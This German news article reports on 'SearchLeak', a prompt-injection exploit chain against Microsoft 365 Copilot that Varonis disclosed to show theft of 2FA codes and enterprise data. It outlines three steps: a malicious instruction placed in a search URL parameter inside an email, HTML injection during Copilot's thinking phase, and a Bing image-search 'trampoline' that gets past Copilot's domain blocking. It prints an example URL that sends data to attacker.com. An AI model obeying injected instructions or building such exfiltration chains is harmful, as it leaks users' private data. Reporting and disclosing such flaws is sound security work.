Article

Kritische Copilot-Schwachstelle ermöglichte Diebstahl von 2FA-Codes

Copilot Microsoft Security LLM Prompt Injection

SearchLeak: Neue Prompt-Injection-Attacke auf Microsoft Copilot

Microsoft hat am vergangenen Dienstag eine als “maximal kritisch” eingestufte Schwachstelle in seiner M365 Copilot AI-Plattform gepatcht. Sicherheitsforscher von Varonis enthüllten am Montag, wie ihre Proof-of-Concept-Exploit-Kette sensible Daten wie 2FA-Codes aus E-Mails exfiltrieren konnte, auf die Copilot Zugriff hat.

Das Kernproblem: Ununterscheidbare Instruktionen

Die fundamentale Schwäche liegt in der Unfähigkeit von LLMs, zwischen Benutzerinstruktionen und schädlichen Befehlen zu unterscheiden, die in Drittanbieter-Inhalte eingeschleust wurden. Microsoft und andere LLM-Anbieter können dieses Problem nicht an der Wurzel lösen – sie müssen stattdessen komplexe Ad-hoc-Guardrails errichten, um die Folgen dieser “unheilbaren Leichtgläubigkeit” einzudämmen.

Die Exploit-Kette: Parameter-to-Prompt-Injection

Varonis entwickelte eine mehrstufige Angriffskette:

  1. Parameter-to-Prompt-Injection: Ein Angreifer sendet eine E-Mail mit einer URL wie https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. Der Parameter q enthält die schädliche Instruktion.

  2. HTML-Injection: Copilot generiert während der “Thinking”-Phase rohes HTML, das temporär im Browser-DOM gerendert wird – bevor die Guardrails den Output in <code>-Blöcke wrappen.

  3. Bing-Trampolin: Da Copilot Anfragen an nicht vertrauenswürdige Domains blockiert, nutzen die Angreifer Bing als Trampolin: https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png

Brisanz für Enterprise-Umgebungen

“Da SearchLeak die Enterprise-Tier von Microsoft betrifft, ist der Blast Radius nicht auf persönliche Daten beschränkt – er kann alles erfassen, worauf der Benutzer innerhalb der Organisation Zugriff hat: E-Mails, Meeting-Einladungen, SharePoint-Dokumente, OneDrive-Dateien und andere indizierte Geschäftsdaten”, warnen die Forscher.

Microsoft hat die Schwachstellen am Dienstag gepatcht. Doch ohne eine Lösung für das zugrundeliegende Problem werden Angreifer unausweichlich neue Wege finden, die neu errichteten Guardrails zu umgehen – ein ewiger Kreislauf.